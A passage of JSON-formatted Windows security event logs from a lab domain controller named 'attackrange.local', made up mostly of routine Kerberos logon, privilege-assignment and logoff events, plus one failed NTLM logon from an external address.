requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x430d8","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{70073692-21C6-24B2-B0B5-1E4E73760CBB}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1840","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221658,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x43155\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x43155","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221659,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tDelegation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x43155\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{70073692-21C6-24B2-B0B5-1E4E73760CBB}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x43155","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{70073692-21C6-24B2-B0B5-1E4E73760CBB}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1840","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4662,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14080,"OpcodeValue":0,"RecordNumber":221660,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An operation was performed on an object.\r\n\r\nSubject :\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3A30C\r\n\r\nObject:\r\n\tObject Server:\t\tDS\r\n\tObject Type:\t\t%{bf967a92-0de6-11d0-a285-00aa003049e2}\r\n\tObject Name:\t\t%{de8c34be-7462-4349-85e7-ab91107666f6}\r\n\tHandle ID:\t\t0x0\r\n\r\nOperation:\r\n\tOperation Type:\t\tObject Access\r\n\tAccesses:\t\tCreate Child\r\n\t\t\t\t\r\n\tAccess Mask:\t\t0x1\r\n\tProperties:\t\tCreate Child\r\n\t{ef2fc3ed-6e18-415b-99e4-3114a8cb124b}\r\n\r\n\r\nAdditional Information:\r\n\tParameter 1:\t\tCN=DNS Settings,CN=WIN-DC-9849183,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=attackrange,DC=local\r\n\tParameter 2:\t\t%{d95efa56-a47e-47bc-a67a-730dbc996b27}","Category":"Directory Service Access","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3a30c","ObjectServer":"DS","ObjectType":"%{bf967a92-0de6-11d0-a285-00aa003049e2}","ObjectName":"%{de8c34be-7462-4349-85e7-ab91107666f6}","OperationType":"Object Access","HandleId":"0x0","AccessList":"%%7680\r\n\t\t\t\t","AccessMask":"0x1","Properties":"%%7680\r\n\t{ef2fc3ed-6e18-415b-99e4-3114a8cb124b}\r\n","AdditionalInfo":"CN=DNS Settings,CN=WIN-DC-9849183,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=attackrange,DC=local","AdditionalInfo2":"%{d95efa56-a47e-47bc-a67a-730dbc996b27}","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221661,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x431EB\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x431eb","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221662,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x431EB\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t63029\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x431eb","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"63029","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221663,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x4320C\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x4320c","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221664,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tDelegation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x4320C\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{70073692-21C6-24B2-B0B5-1E4E73760CBB}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x4320c","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{70073692-21C6-24B2-B0B5-1E4E73760CBB}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1840","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221665,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x431EB\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x431eb","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221666,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x432C9\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x432c9","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221667,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tDelegation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x432C9\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{70073692-21C6-24B2-B0B5-1E4E73760CBB}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x432c9","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{70073692-21C6-24B2-B0B5-1E4E73760CBB}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1840","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221668,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t50157\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"50157","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2437,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 